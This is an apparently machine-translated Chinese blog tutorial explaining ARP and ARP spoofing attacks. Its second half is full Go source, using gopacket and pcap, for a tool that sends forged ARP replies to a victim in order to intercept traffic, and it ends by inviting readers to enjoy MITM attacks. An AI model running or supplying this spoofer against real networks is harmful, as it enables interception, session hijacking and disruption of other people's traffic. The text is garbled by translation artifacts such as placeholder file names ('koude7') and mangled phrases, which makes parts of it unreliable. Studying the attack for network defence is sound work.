ARP协议每天甚至是计算机都使用。这是一个微不足道的协议,因此计算机知道与IP地址相关的硬件地址,也称为MAC地址,例如192.168.13.37
。
与许多其他协议一样,该协议很容易欺骗攻击,这就是我将在下面解释的。
ARP协议
地址分辨率协议是一种通信协议,用于发现与给定的Internet层地址相关联的链接层地址,例如硬件地址,通常是IPv4地址。该映射是Internet协议套件中的关键功能。 1
这个定义直接直接达到了这一点,但是我想以图形方式显示ARP协议,而不仅仅是文本。
ARP协议是一个协议,它将确保给定IPv4地址,您将收到设备的相应硬件地址。这是至关重要的,因为以太网硬件与硬件地址而不是IP地址交流。
。示例方案
所以让我们假设我们有四个组件:
- 客户端,aka 设备a
- Router
-
设备B 带有IP地址
192.168.13.37
-
设备C 带有IP地址
192.168.13.66
i,客户端和设备a ,想要将数据发送到设备B ,尽管我只知道其IPv4地址。因此,现在我需要它的硬件地址,我将在网络上广播 arp请求数据包,以接收设备b 的硬件地址。
。设备b 将认识到我正在根据其IPv4地址请求其硬件地址,因此它将在内部使用其硬件地址向我发送 arp回复数据包。
我拥有设备的硬件地址后,它将保存在我的个人ARP表中供将来使用。 ARP表可以在终端中看到以下命令:
arp -a
用Wireshark嗅探
当您过滤数据包时,可以在Wireshark上轻松查看上述所有描述的方案:
在上面的数据包中,我们肯定可以看到华为设备需要三个IPv4地址的硬件地址。
现在,如果存在网络上的IPv4地址,则相关设备将使用 arp回复数据包回复。这也可以在Wireshark中看到:
在这里,Apple设备的硬件地址发送到华为设备,并将保存在其ARP表中以进行缓存。
ARP欺骗
现在已经知道了ARP方案的基础知识,最终了解 arp欺骗的真正是有趣的。
解释
欺骗攻击的定义是:
在信息安全性,尤其是网络安全性的背景下,欺骗攻击是一个人或程序通过伪造数据成功将其识别为另一个人以获得非法优势的情况。 2
因此,这已经提供了很多 arp欺骗的信息。通过进行ARP欺骗攻击,我们将通过伪造数据来识别为另一种设备。有些人可能已经知道这是怎么可能的。自己一段时间考虑一下,然后继续阅读。
如果您一直在考虑 arp回复数据包,那么您绝对是对的!这很简单。回到上面的ARP协议scenario的合法使用;作为攻击者,我们将简单地 spam arp回复数据包,并说我们是带有IPv4 192.168.13.37
的设备,带有IPv4 192.168.13.66
的设备等。我们可以是网络上的任何设备,并愚弄其他设备将数据包发送给我们而不是合法设备。这称为Man-in-the-Middle攻击。
值得注意的是,在ARP欺骗攻击期间,设备甚至可能不会发送ARP请求数据包,攻击者只会继续垃圾邮件。
结果
ARP欺骗的一些主要后果如下:
- 会话劫持:相关数据包将发送给攻击者。
- 中间人的人: session劫持的原因结果,随着数据包将发送给攻击者。
-
ddos :攻击者可以垃圾邮件ARP回复数据包,该数据表明网络所有IPv4地址的硬件地址为
13:de:ad:be:ef:37
,它将导致所有被发送到单个目标的数据包。
ARP欺骗的示例代码
在结束此操作之前,看看如何进行ARP欺骗自己并自我教育自己可能会很有趣。当然,我们可以下载像普通脚本Kiddie这样的工具,但这很无聊...
请注意,根据您可能对ARP欺骗的行为,它可能是非法 - 您已被警告。
我已经在GO中编码了我的小ARP Spoofer,因为我喜欢这种语言,尽管它很可能会用其他语言编码,例如使用Scapy。
让我们开始!
会话结构
我已经在koude7文件中创建了一个Session
结构,以存储以后使用的相关信息:
package main
import (
"github.com/google/gopacket/pcap"
"github.com/kkrypt0nn/logger.go"
"net"
)
// Some wacky way to get the outbound IP address ^-^
func getOutboundIP() net.IP {
conn, err := net.Dial("udp", "8.8.8.8:80")
if err != nil {
panic(err)
}
defer conn.Close()
return conn.LocalAddr().(*net.UDPAddr).IP
}
type Session struct {
iface net.Interface
device pcap.Interface
ip net.IP
mac net.HardwareAddr
logger *logger.Logger
}
func NewSession() *Session {
return &Session{
ip: getOutboundIP(), // This will try to resolve the IP, if it's inaccurate you can hard-code it..
logger: logger.NewLogger(),
}
}
getOutboundIP
函数将解析使用的IP地址,如果您愿意,可以对其进行硬编码。
制作ARP回复数据包
要制作自定义ARP回复数据包,我们需要首先创建一个以太网层,该层将包含源和目标硬件地址。我们需要的第二层显然是ARP层,在这里我们将提供源和Desintion IPv4和Destination Hardware地址。然后,我们需要序列化层以确保它们是正确的,如果它们是正确的,那么我们可以返回缓冲区,所有这些都已在koude9文件中完成:
package main
import (
"github.com/google/gopacket"
"github.com/google/gopacket/layers"
"net"
)
type Address struct {
ip net.IP
mac net.HardwareAddr
}
func NewAddress(ip net.IP, mac net.HardwareAddr) *Address {
return &Address{
ip: ip,
mac: mac,
}
}
func (a *Address) GetIP() net.IP {
return a.ip
}
func (a *Address) GetMAC() net.HardwareAddr {
return a.mac
}
var Options = gopacket.SerializeOptions{
FixLengths: true,
ComputeChecksums: true,
}
func NewARPReplyPacket(src *Address, dst *Address) ([]byte, error) {
ethLayer := layers.Ethernet{
SrcMAC: src.mac,
DstMAC: dst.mac,
EthernetType: layers.EthernetTypeARP,
}
arpLayer := layers.ARP{
AddrType: layers.LinkTypeEthernet,
Protocol: layers.EthernetTypeIPv4,
HwAddressSize: 6,
ProtAddressSize: 4,
Operation: layers.ARPReply,
SourceHwAddress: src.mac,
SourceProtAddress: src.ip.To4(),
DstHwAddress: dst.mac,
DstProtAddress: dst.ip.To4(),
}
buffer := gopacket.NewSerializeBuffer()
if err := gopacket.SerializeLayers(buffer, Options, ðLayer, &arpLayer); err != nil {
return nil, err
}
return buffer.Bytes(), nil
}
- 来源这是我们,攻击者,带有普通的IPv4和硬件地址。 目的地是我们要成为的设备,因此我们的靶向设备aka aka 受害者。
发送数据包
最后一步只是将制作的数据包发送到循环中。但是首先,我们需要知道要发送这些界面以及设备。我添加了一些小型代码,首先将出站IP与设备上每个接口的IP进行比较,一旦匹配我们需要的接口。
。知道要发送数据包的设备名称是相同的播放,我们在所有设备上循环,在其所有地址上循环检查IPv4。然后,我们打开设备并尝试发送欺骗的数据包,所有这些都已在koude10文件中完成:
package main
import (
"github.com/google/gopacket/pcap"
"net"
"strings"
"time"
)
// Obviously these are not accurate & fictive addresses
const (
TargetIP = "192.168.13.37"
TargetMAC = "13:de:ad:be:ef:37"
Timeout = 5 * time.Second
TotalPacketsToSend = 15
)
func main() {
// Create a new session
s := NewSession()
// Get the interface
ifaces, err := net.Interfaces()
if err != nil {
s.logger.Fatal("Failed to retrieve interfaces: " + err.Error())
return
}
for _, iface := range ifaces {
if iface.HardwareAddr == nil {
continue
}
addrs, err := iface.Addrs()
if err != nil {
s.logger.Fatal("Failed to retrieve the addresses of the interface: " + err.Error())
}
for _, addr := range addrs {
if strings.Split(addr.String(), "/")[0] == s.ip.String() {
// Set the current interface & MAC address
s.iface = iface
s.mac = iface.HardwareAddr
break
}
}
}
// Get the device to listen to
devices, err := pcap.FindAllDevs()
if err != nil {
s.logger.Fatal("Failed to retrieve devices: " + err.Error())
return
}
for _, device := range devices {
for _, address := range device.Addresses {
if address.IP.To4().String() == s.ip.String() {
s.device = device
break
}
}
}
// Open the device and be prepared to send the spoofed packets
handler, err := pcap.OpenLive(s.device.Name, 65535, true, pcap.BlockForever)
if err != nil {
s.logger.Fatal("Failed to open device: " + err.Error())
return
}
// Prepare the ARP reply packet
src := NewAddress(s.ip, s.mac)
mac, _ := net.ParseMAC(TargetMAC)
dst := NewAddress(net.ParseIP(TargetIP), mac)
arpReply, _ := NewARPReplyPacket(src, dst)
s.logger.Info("Sending spoofed ARP replies to " + dst.GetIP().String() + " with MAC " + dst.GetMAC().String() + " every " + Timeout.String())
// Send the packets
for i := 0; i < TotalPacketsToSend; i++ {
err = handler.WritePacketData(arpReply)
if err != nil {
s.logger.Error("Failed to send packet: " + err.Error())
}
time.Sleep(Timeout)
}
}
结果
运行小工具时,我们可以清楚地看到打开Wireshark时的ARP欺骗攻击:
结论
ARP欺骗会根据场景而导致严重的后果,尽管ARP协议也具有合法的使用,因此您不能仅仅阻止整个ARP协议。有一些缓解反对ARP欺骗攻击的缓解,我不知道,但在自己在Google上搜索时很容易找到。同时,请享受一些MITM攻击。
-
biaoqian30 ↩